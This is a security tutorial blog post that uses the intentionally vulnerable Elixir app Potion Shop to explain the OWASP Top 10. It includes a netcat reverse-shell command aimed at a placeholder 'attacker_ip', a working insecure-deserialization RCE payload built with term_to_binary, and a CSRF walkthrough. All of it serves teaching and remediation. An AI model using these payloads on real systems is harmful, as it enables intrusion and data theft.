Michael Lubas, 2024-06-20
The OWASP Top 10 is a well known application security awareness document. When a developer working on internet-facing web applications decides to learn about security, OWASP is a frequently recommended source of information, with the Top 10 as the most famous project. The point of this article is to provide developers with enough context to understand the strengths and limitations of the Top 10 document. To properly engage with this subject, it is necessary to define a web application that is vulnerable to some security problems. This article will use the intentionally vulnerable Elixir and Phoenix project Potion Shop to explain how the Top 10 relates to real world security issues.
If you are a developer, learning about security for the first time, reading the OWASP Top 10 will likely be a frustrating experience. Starting with A01 Broken Access Control, the description focuses on web applications where a user can perform some unauthorized action. That makes sense, if a normal user can access an admin-only page, that is a clear security violation. But the A01 page also has 34 Common Weakness Enumerations (CWEs), for example Cross-Site Request Forgery (CSRF). What is a CWE? What is CSRF? Does the web framework handle this protection?
The OWASP Top 10 is not meant to answer questions about how to assess the security of your project, it is more of a catalogue of security issues. The 2021 version has the following categories, and associated number of CWEs:
That is 195 CWEs total, with no context on the severity of each one. This creates a confusing situation for developers learning about security for the first time. Say you are running a Sobelow scan, which checks Elixir source code for security issues, and it reports two findings:
$ mix sobelow --format compact
[+] Config.CSRF: Missing CSRF Protections - lib/carafe_web/router.ex:16
[+] Misc.BinToTerm: Unsafe `binary_to_term` - lib/carafe_web/controllers/user_controller.ex:7
CSRF maps to A01 Broken Access Control, as CWE-352 Cross-Site Request Forgery (CSRF).
While Sobelow does not put the word “deserialization” in the Misc.BinToTerm finding, it maps to A08 Software and Data Integrity Failures, as CWE-502 Deserialization of Untrusted Data.
CSRF is higher up in the OWASP Top 10, and has a higher-number CWE, does that mean it is the more severe vulnerability? The answer is no, deserialization of untrusted data is much worse because it leads to remote code execution (RCE), which gives the attacker the equivalent of production SSH access to the underlying web server. If these acronyms (RCE, CSRF) mean nothing to you at the moment, that is okay, they will be explained soon.
This article will guide you through a security assessment of the vulnerable Elixir application Potion Shop. You will run the code, exploit the vulnerabilities, and learn how to fix them. By doing hands-on exercises, you will gain a deeper understanding of each security issue, how it relates to the OWASP Top 10, and steps you can take to improve the security of your own work. To begin, git clone
a copy of Potion Shop locally and run it.
Potion Shop - https://github.com/securityelixir/potion_shop
potion_shop % mix deps.get
potion_shop % mix ecto.setup
potion_shop % iex -S mix phx.server
Go to:
in your web browser and you should see the above screen. Some possible errors:
Now that you have Potion Shop running locally, it is time to perform the first step in every security assessment: understanding the application and threat modeling. Do the following before continuing:
Potion Shop is not a real e-commerce site, it is a simplified example for teaching. Pretend that it is a real site, where users can log in, buy potions, and leave reviews. Before we start listing common vulnerabilities in web applications, consider the following questions:
Q: Is this application exposed to the public internet?
A: Yes, anyone in the world can visit the site from their laptop or phone. This increases the probability of the site being attacked, because many people can send HTTP requests to the web server, which are then processed by the application code.
Q: Who can create an account?
A: Anyone can sign up for an account. This is relevant because in web applications, the conditions for exploiting a vulnerability vary. For example:
This question often comes up when I’m doing a web security assessment for a client. If the impact of vulnerability A and B are the same, A would be considered much more severe in an application where only people trusted by the business are able to create an account. If anyone in the world can signup for an account, then the severity of B increases.
Q: Does this application store customer data?
A: Yes, it does. Any application that stores or processes personally identifiable information (PII) such as names, emails, and addresses should have strong security controls.
Why all these questions? When discussing a vulnerability, security people talk about the impact, meaning what would happen if a bad guy really exploited it. These questions are related to assessing the impact of a vulnerability. For example:
You decide to deploy Potion Shop on a private network, such as a cloud environment only accessible through a VPN. In this configuration, it is not possible for a random person on the internet to exploit the application and gain access to the underlying web server. The overall risk of doing this is low, although you should be mindful that a configuration change that opens this server to the public internet would be dangerous.
Consider a different case with Dave, a software developer at a major bank. Dave ignores the advice in the Potion Shop README and deploys the application in his company’s AWS account, with a security group open the public internet. An attacker breaks into the server, scans the internal network, and gets access to even more servers in the AWS account. This is the start of a data breach! Millions in fines, forensic security consulting bills, and lawyer fees are in the future for Dave’s company, and he will likely be fired for violating the IT policy and causing a data breach due to negligence. Much higher impact!
(It is safe to run Potion Shop on your laptop, as long as you do not expose the code to the internet by deploying it, or by using a service such as ngrok to expose your localhost server to the internet).
As you can see, even the exact same code deployed in different settings can lead to much different outcomes. For our exercise today, we are going to pretend that Potion Shop is the primary e-commerce site operated by a business selling potions. Properties of the site:
If the site was hacked, it would be very bad for the business. Pay attention to the phrase “if the site was hacked”, what does that actually mean? A few examples:
All three of these scenarios are covered by the OWASP Top 10:
The OWASP Top 10 wants to cover every possible security risk in a web application, however this achieved by defining broad categories such as “broken access control”. The inclusion of specific vulnerabilities (RCE, CSRF) via the 100+ CWEs creates confusion for people learning this material for the first time. When training developers in proper security practices, the risk of severe vulnerabilities should be explicit and clearly explained.
Potion Shop is vulnerable to remote code execution (RCE). This is the most severe vulnerability possible, an attacker that exploits it has the equivalent of production SSH access to the underlying web server. While RCE is a type of vulnerability, there are multiple ways it can happen. For example, if you take user input and pass it directly to the unix shell of your web server, it is vulnerable to RCE via command injection, which is A03, Injection on the Top 10. In Elixir, vulnerable code would pass user input to System.cmd
:
iex(1)> System.cmd(user_input, [])
{"CHANGELOG.md\nLICENSE\nREADME.md\nlib\nmix.exs\nmix.lock\ntest\n", 0}
This may seem benign at first glance, an attacker can run echo "hello world"
on the command line, what is the big deal? The reason many exploits in the information security field have the goal of “getting a shell” is because from this foothold it is possible to establish remote access to the server. In a real attack, the bad guy would create a web server open to the public internet and open a netcat listener:
nc -lvp 4444
Then he would send this command to the vulnerable machine:
nc attacker_ip 4444 -e /bin/bash
Where attacker_ip
is the IP address of the server where netcat is listening for incoming connections. If everything works he is granted a primitive remote shell.
The OWASP Top 10 does not treat RCE as one item, it is explicitly mentioned by some categories, while being related to others but not mentioned:
There are multiple ways an application can be vulnerable to RCE, this fact should be emphasized in any web security educational document. RCE is relevant for all web applications handling sensitive user data, and was the root cause of the 2017 Equifax breach, which led to the personal information of 147 million people being compromised and a $425 million fine.
Potion Shop is vulnerable to RCE via insecure deserialization. Discovering this vulnerability is straightforward, you may have noticed it when fetching the dependencies:
@ potion_shop % mix deps.get
Resolving Hex dependencies...
...
mix_audit 2.1.3
paginator 0.6.0 RETIRED!
(security) Remote Code Execution Vulnerability
phoenix 1.6.15
The Hex page for Paginator provides more details about the library, it is used to Paginate API calls. The GitHub page shows how the library works, it is installed in the project’s Repo
module and is used with Ecto to control how many results are returned from the database.
lib/carafe/repo.ex
defmodule Carafe.Repo do
use Ecto.Repo,
otp_app: :carafe,
adapter: Ecto.Adapters.Postgres
use Paginator
end
lib/carafe/potions.ex
def api() do
q = from(Potion, order_by: [asc: :id])
Repo.paginate(q, cursor_fields: [:inserted_at, :id], limit: 2)
end
def api(a) do
q = from(Potion, order_by: [asc: :id])
Repo.paginate(q, after: a, cursor_fields: [:inserted_at, :id], limit: 2)
end
lib/carafe_web/controllers/potion_controller.ex
def api(conn, %{"after" => a}) do
%{entries: entries, metadata: m} = Potions.api(a)
json(conn, %{potions: entries, after: m.after})
end
def api(conn, _params) do
%{entries: entries, metadata: m} = Potions.api()
json(conn, %{potions: entries, after: m.after})
end
Visit http://localhost:4000/api/list and observe how the endpoint returns information about two Potions:
{
"after": "g2wAAAACdAAAAAl3C21pY3Jvc2Vjb25kaAJhAGEAdwZzZWNvbmRhBHcIY2FsZW5kYXJ3E0VsaXhpci5DYWxlbmRhci5JU093BW1vbnRoYQR3Cl9fc3RydWN0X193FEVsaXhpci5OYWl2ZURhdGVUaW1ldwNkYXlhC3cEeWVhcmIAAAfodwZtaW51dGVhK3cEaG91cmENYQJq",
"potions": [
{
"name": "Strength",
"milliliters": 50,
"price": 499,
"secret": false
},
{
"name": "Feather",
"milliliters": 10,
"price": 899,
"secret": false
}
]
}
The Pagination cursor is that base64 encoded “after” value. To see how it works, copy the long string of characters and visit:
http://localhost:4000/api/list?after=PUT_AFTER_HERE
Make sure to replace PUT_AFTER_HERE with your local machine’s version.
{
"after": "g2wAAAACdAAAAAl3C21pY3Jvc2Vjb25kaAJhAGEAdwZzZWNvbmRhBHcIY2FsZW5kYXJ3E0VsaXhpci5DYWxlbmRhci5JU093BW1vbnRoYQR3Cl9fc3RydWN0X193FEVsaXhpci5OYWl2ZURhdGVUaW1ldwNkYXlhC3cEeWVhcmIAAAfodwZtaW51dGVhK3cEaG91cmENYQRq",
"potions": [
{
"name": "Jump",
"milliliters": 25,
"price": 299,
"secret": false
},
{
"name": "Levitate",
"milliliters": 40,
"price": 2999,
"secret": false
}
]
}
What does the string of characters mean?
iex(1)> a = "g2wAAAACdAAAAAl3C21pY3Jvc2Vjb25kaAJhAGEAdwZzZWNvbmRhBHcIY2FsZW5kYXJ3E0VsaXhpci5DYWxlbmRhci5JU093BW1vbnRoYQR3Cl9fc3RydWN0X193FEVsaXhpci5OYWl2ZURhdGVUaW1ldwNkYXlhC3cEeWVhcmIAAAfodwZtaW51dGVhK3cEaG91cmENYQRq"
iex(2)> a |> Base.url_decode64!() |> :erlang.binary_to_term()
[~N[2024-04-11 13:43:04], 4]
It is an encoded Elixir list.
In November of 2020 Peter Stöckli discovered the Paginator library was vulnerable to RCE, you can read his writeup here. To understand how this vulnerability works, you first need to understand that Elixir and Erlang terms can be encoded in the Erlang external term format. For example:
iex(1)> t = [1, [2], %{"NY" => "New York"}]
[1, [2], %{"NY" => "New York"}]
Consider the above list, t. You are writing an Elixir program that runs on your laptop, and you want to send this data to a remote server, which is also running Elixir. The safe way to do this is encoding the list as JSON. The unsafe way is by encoding it as an Erlang binary:
iex(1)> t = [1, [2], %{"NY" => "New York"}]
[1, [2], %{"NY" => "New York"}]
iex(2)> t |> :erlang.term_to_binary()
<<131, 108, 0, 0, 0, 3, 97, 1, 107, 0, 1, 2, 116, 0, 0, 0, 1, 109, 0, 0, 0, 2,
78, 89, 109, 0, 0, 0, 8, 78, 101, 119, 32, 89, 111, 114, 107, 106>>
iex(3)> t |> :erlang.term_to_binary() |> Base.url_encode64()
"g2wAAAADYQFrAAECdAAAAAFtAAAAAk5ZbQAAAAhOZXcgWW9ya2o="
iex(4)> b = "g2wAAAADYQFrAAECdAAAAAFtAAAAAk5ZbQAAAAhOZXcgWW9ya2o="
"g2wAAAADYQFrAAECdAAAAAFtAAAAAk5ZbQAAAAhOZXcgWW9ya2o="
Now that the Elixir term is encoded as a base64 string, you can send that string over the network to the remote server, which can then decode the data back into an Elixir term:
iex(1)> b |> Base.decode64!()
<<131, 108, 0, 0, 0, 3, 97, 1, 107, 0, 1, 2, 116, 0, 0, 0, 1, 109, 0, 0, 0, 2,
78, 89, 109, 0, 0, 0, 8, 78, 101, 119, 32, 89, 111, 114, 107, 106>>
iex(2)> b |> Base.decode64!() |> :erlang.binary_to_term
[1, [2], %{"NY" => "New York"}]
The Erlang documentation lists all possible data types for terms, including functions. Funs make it possible to create an anonymous function and pass the function itself — not its name — as argument to other functions
On your local machine:
iex(1)> a = fn -> IO.puts("Hello World") end
#Function<43.105768164/0 in :erl_eval.expr/6>
iex(2)> a |> :erlang.term_to_binary() |> Base.url_encode64()
"g3AAAAELAMm8nI8Qfq0gWk_NzqDBsfgAAAArAAAAAXcIZXJsX2V2YWxhK2IGTeTkWHcNbm9ub2RlQG5vaG9zdAAAAG0AAAAAAAAAAGgGYQF0AAAAAHcEbm9uZXcEbm9uZXQAAAAAbAAAAAFoBXcGY2xhdXNlYQFqamwAAAABaAR3BGNhbGxhAWgEdwZyZW1vdGVhAWgDdwRhdG9tYQF3CUVsaXhpci5JT2gDdwRhdG9tYQF3BHB1dHNsAAAAAWgDdwNiaW5hAWwAAAABaAV3C2Jpbl9lbGVtZW50YQFoA3cGc3RyaW5nYQFrAAtIZWxsbyBXb3JsZHcHZGVmYXVsdHcHZGVmYXVsdGpqamo="
On the remote server:
iex(1)> b
"g3AAAAELAMm8nI8Qfq0gWk_NzqDBsfgAAAArAAAAAXcIZXJsX2V2YWxhK2IGTeTkWHcNbm9ub2RlQG5vaG9zdAAAAG0AAAAAAAAAAGgGYQF0AAAAAHcEbm9uZXcEbm9uZXQAAAAAbAAAAAFoBXcGY2xhdXNlYQFqamwAAAABaAR3BGNhbGxhAWgEdwZyZW1vdGVhAWgDdwRhdG9tYQF3CUVsaXhpci5JT2gDdwRhdG9tYQF3BHB1dHNsAAAAAWgDdwNiaW5hAWwAAAABaAV3C2Jpbl9lbGVtZW50YQFoA3cGc3RyaW5nYQFrAAtIZWxsbyBXb3JsZHcHZGVmYXVsdHcHZGVmYXVsdGpqamo="
iex(2)> b |> Base.url_decode64!() |> :erlang.binary_to_term([:safe])
#Function<43.105768164/0 in :erl_eval.expr/6>
A common misconception is that the code:
:erlang.binary_to_term(user_input, [:safe])
is secure, because of that :safe
atom. The :safe
option only restricts new atoms from being created, which can lead to denial of service. It does not prevent executable code from being submitted to the function, which is a much more severe security risk.
At this point, it is possible for a bad guy to encode a malicious Elixir function and submit it to the web server to achieve remote code execution (RCE), yet experienced Elixir programmers know that to actually execute an anonymous function you have to call it with the dot syntax:
iex(10)> f = fn -> IO.puts("Hi") end
#Function<43.105768164/0 in :erl_eval.expr/6>
iex(11)> f.()
Hi
:ok
When writing code that uses :erlang.binary_to_term
, the author expects a non-executable type to be returned, such as a list or map. In order for the malicious function to be executed, there would have to be some code path where the dot syntax is used to call the term, for example:
[1,2,3].()
or
{1,2,3}.(a, b)
So the risk of this being exploited is low? Now we come to an interesting bit of Elixir trivia. Did you know that anonymous functions with an arity of 2 (meaning they have 2 arguments) implement the enumerable protocol?
iex(1)> a = fn _ -> IO.puts("Will not run") end
#Function<42.105768164/1 in :erl_eval.expr/6>
iex(2)> b = fn _, _ -> IO.puts("Will run") end
#Function<41.105768164/2 in :erl_eval.expr/6>
iex(3)> Enum.zip(a)
** (Protocol.UndefinedError) protocol Enumerable not implemented for #Function<42.105768164/1 in :erl_eval.expr/6> of type Function, only anonymous functions of arity 2 are enumerable
(elixir 1.15.7) lib/enum.ex:4864: Enumerable.Function.reduce/3
(elixir 1.15.7) lib/enum.ex:4387: Enum.map/2
(elixir 1.15.7) lib/stream.ex:1346: Stream.zip_enum/4
(elixir 1.15.7) lib/enum.ex:4041: Enum.zip_reduce/3
(elixir 1.15.7) lib/enum.ex:3895: Enum.zip/1
iex(3)> Enum.zip(b)
Will run
** (ArgumentError) errors were found at the given arguments:
* 2nd argument: not a tuple
:erlang.element(2, :ok)
(elixir 1.15.7) lib/enum.ex:4387: Enum.map/2
(elixir 1.15.7) lib/stream.ex:1346: Stream.zip_enum/4
(elixir 1.15.7) lib/enum.ex:4041: Enum.zip_reduce/3
(elixir 1.15.7) lib/enum.ex:3895: Enum.zip/1
Even with the above errors, notice “Will run” was executed! This means that for an Elixir application to be vulnerable, the following conditions must exist:
:erlang.binary_to_term
This is exactly what happened with the Paginator library. Do you remember what that base64 decoded Paginator string was?
[~N[2024-04-11 13:43:04], 4]
An Elixir list, exactly the kind of data that gets passed to an Enum function. Now that you understand why :erlang.binary_to_term
is dangerous, lets improve your understanding by walking through how to exploit it.
Ensure Potion Shop is running and go to http://localhost:4000/api/list
Submit the “after” value from your local machine in the URL:
http://localhost:4000/api/list?after=PUT_AFTER_HERE
Now you are going to write an exploit for this vulnerable program. In a real attack, the goal of the bad guy is to open a reverse shell, which grants them the equivalent of SSH access to the server. For this exercise, we just want to prove that a malicious HTTP request can trigger attacker-controlled shell commands, so we open the calculator on MacOS. If you are on Windows or Linux, this example won’t work, and you will have to modify it:
exploit = fn _, _ -> System.cmd("open", ["-a", "Calculator"]); {:cont, []} end
payload =
exploit
|> :erlang.term_to_binary()
|> Base.url_encode64()
Take the long output of this program and paste it into the after?=
part of the URL:
If you see the calculator open, congratulations, you just performed an RCE attack against a vulnerable Elixir application! Note that running Sobelow will not detect this vulnerability, because the source of it is the Paginator library. To see how Paginator fixed this problem, view commit bf45e92 here.
If you upgrade the Paginator library, you can then run the above exploit and see that it no longer works. The documentation for Plug.Crypto goes into detail on non_executable_binary_to_term/2.
Now that you have walked through how this vulnerability works, lets go over some questions to check your understanding.
Q: What is the name for this type of vulnerability?
A: Remote code execution (RCE) via insecure deserialization of data, introduced through a vulnerable dependency.
Q: If an attacker exploits this vulnerability, what is the impact?
A: The attacker now has the equivalent of production SSH access to the server. Because the application server requires full database access, he can download a copy, causing a data breach. From this compromised server, he can also move through the network, scanning for internal servers to compromise.
Q: If an application is running the vulnerable version of Paginator, which OWASP Top 10 risks are related to this issue ?
A: You can argue that it falls under:
I don’t like this question because it focuses on pedantic classification over true understanding. A01 does not mention remote code execution, and you can argue A03 only applies to RCE via command injection, because deserialization is explicitly mentioned in A08. None of this is relevant to understanding the true impact.
Another question you may have is “How do I prevent remote code execution in my own work?”. For an Elixir web application:
The above tools are helpful only if you understand the security model of the software you are working on, and the risk of an RCE vulnerability. While every application is different, a statement that is true of most business software is: “If someone can send an HTTP request to the web application which grants them a remote shell on the server, that is a major security risk that needs to be fixed as soon as possible.”
Potion Shop is also vulnerable to a cross site request forgery (CSRF) vulnerability. At a high level:
The name is fairly descriptive of this vulnerability. “Cross site” refers to the malicious site initiating a POST request in the browsing session of the victim. “Request forgery” describes the POST request which is written by a bad guy, not the real user. This leads to actions in the web application, such as leaving a review, which appear to be the action of the victim user, but were really caused (forged) by the attacker.
For a real example, ensure Potion Shop is running, create an account, and leave a review:
Before clicking “Submit”, open your browser’s developer tools and observe the request:
Note that the user’s session cookie is automatically included in the request. This is how the malicious site is able to perform some privileged action, like leaving a review:
Click the “Payload” tab:
Notice the review body is contained in the POST request. Attentive readers may have noticed this request also contains a _csrf_token
. Does that mean this form is secure? The answer is no, because the backend is not checking the validity of the this token.
To perform a CSRF attack, create the following file:
vim attack.html
Replace VICTIM_EMAIL_HERE with the email address of your Potion Shop account. Save the file, then open it in a new tab, next to Potion Shop:
Note that in a real attack, this information would never be shown to the victim, the form would be submitted as soon as the page is loaded, and completely hidden from view. Submit the form and observe:
This attack only works when the victim is logged in! Log in to your account and try again:
This is the key part of CSRF: The message “I’m the bad guy!” is controlled by a different website, in this case the attack.html
file, but in a real attack this would be a completely different website.
Q: In this example attack, the bad guy is able to create a Potion review that appears to be authored by the victim. What are some other ways this could be exploited?
A:
These examples would work because the act of transferring money or creating a post requires a user to be logged in, and is the result of an HTTP POST request.
Q: Can an attacker use CSRF to access the underlying web server or database?
A: No, the impact is limited to triggering an HTTP POST request on behalf of the victim user.
Q: A web application has zero users currently logged in. Could a bad guy exploit a CSRF vulnerability in the application?
A: No, a victim user must be logged in for the attack to work.
As you can see, the overall impact of CSRF is lower than RCE. Even in a banking application where a CSRF vulnerability would allow the attacker to transfer money, pulling off the attack would require the victim to be logged in and visit an attacker controlled website. With an RCE exploit, the attacker could break into the web server at any time and transfer money from any account, access the production database, etc.
When it comes to the OWASP Top 10, CSRF is explicitly mentioned under A01 Broken Access Control as CWE-352 Cross-Site Request Forgery (CSRF). The reason I personally don’t recommend the Top 10 to developers with zero background security knowledge is that the document does not explain what CSRF is, the impact it has, and how to prevent it in your own work.
CSRF is something the Phoenix framework handles for you by default. When you generate a form in Phoenix using the standard library functions, it automatically includes a CSRF token. From the above example:
Because CSRF is a write-only vulnerability, the attacker can not see the value of this token when creating a POST request for the victim to submit. The standard way that most web frameworks (Phoenix, Rails, Django) prevent CSRF is by:
That is why the application in the above example is vulnerable, because the backend server was not checking if the CSRF token is valid.
The :browser
pipeline in your router.ex
file should look like this by default:
pipeline :browser do
plug :accepts, ["html"]
plug :fetch_session
plug :fetch_live_flash
plug :put_root_layout, {CarafeWeb.LayoutView, :root}
plug :protect_from_forgery
plug :put_secure_browser_headers
plug :fetch_current_user
end
The line plug :protect_from_forgery
is what checks this value in Phoenix. Notice in Potion Shop’s router there is an additional pipeline:
lib/carafe_web/router.ex
pipeline :browser_auth do
plug :accepts, ["html"]
plug :fetch_session
plug :fetch_live_flash
plug :put_root_layout, {CarafeWeb.LayoutView, :root}
plug :put_secure_browser_headers
plug :fetch_current_user
end
This pipeline is missing the line plug :protect_from_forgery
. If you add it back in and run the previous example:
An exception is raised indicating the CSRF token is not valid and the attack will fail. Generally speaking, you do not have to worry much about CSRF with Phoenix, because it includes the protections by default, and most developers will stay within the set guardrails. Running Sobelow will detect if your router is missing the CSRF plug:
@ potion_shop % mix sobelow
Config.CSRF: Missing CSRF Protections - High Confidence
File: lib/carafe_web/router.ex
Pipeline: browser_auth
Line: 16
Consider the OWASP Top 10 again. It is possible that CSRF in your application is introduced via a third party dependency, which maps to A06 Vulnerable and Outdated Components. Generating the CSRF token must also be done in a cryptographically secure way, for example if you decided to take a sha256 hash of the current unix time and use that as a valid CSRF token, it would be possible for an attacker to anticipate that value and bypass the protection. That would fall under A02 Cryptographic Failures. You could also argue that failure to include the plug :put_secure_browser_headers
falls under A05 Security Misconfiguration. These vulnerabilities do not map cleanly to one category of the Top 10.
There is another type of CSRF in Phoenix which Sobelow will also report on, called “action reuse CSRF”:
Config.CSRFRoute: CSRF via Action Reuse - High Confidence
File: lib/carafe_web/router.ex
Action: edit_bio
Line: 98
Here are the relevant lines:
scope "/", CarafeWeb do
pipe_through [:browser, :require_authenticated_user]
get "/users/settings/edit_bio", UserSettingsController, :edit_bio
post "/users/settings/edit_bio", UserSettingsController, :edit_bio
Due to how Phoenix handles GET and POST requests, it is possible to have a GET request trigger the action in the POST route. Sobelow is inferring the fact that the POST route is some state-changing action. For more information see What is CSRF via Action Reuse?
The OWASP Top 10 is a document that gives developers and security professionals a common language to talk about web security problems. It is certainly useful to read through the Top 10, and consider how the defined risks are relevant for your own work. My hope is that this article has provided some useful context on how to relate the general nature of security awareness documents with the specific web technology you are using.
Paraxial.io stops data breaches by helping developers ship secure applications. Get a demo or start for free.
Subscribe to stay up to date on new posts.